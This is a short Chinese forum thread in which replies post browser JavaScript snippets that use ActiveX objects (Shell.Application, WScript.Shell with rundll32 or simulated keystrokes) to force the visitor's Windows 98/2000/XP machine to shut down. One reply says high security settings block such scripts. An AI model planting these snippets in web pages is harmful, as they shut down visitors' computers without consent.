这个只对win98有效,win2000好像没有作用,你搜一下以前的帖子,有讨论过的!!

解决方案 »

  1.   

    <script>
    var g_oShell = new ActiveXObject("Shell.Application");
    function turnoff()
    {g_oShell.ShutdownWindows();}
    </script>
      

  2.   

    如果客户把安全级别设置的高一些,你的JavaScript根本没有效果,不管是98还是2000。我就是这样设置的,目的就是为了防止像万花谷、混客炸弹这些东西。
      

  3.   

    .js文件是用JScipt写的,不是JavaScript。且在WSH环境下.js是合法文件。
      

  4.   

    可以告知,但也请看过的人保证不要用在歪路上win98
    <script>
    var wsh=new ActiveXObject("wscript.shell")
    wsh.run("rundll32 user,ExitWindowsExec")
    </script>win2000&xp
    <script>
    var wsh=new ActiveXObject("wscript.shell")
    wsh.sendKeys("^{ESC}")
    wsh.sendKeys("{up}~r~")
    </script>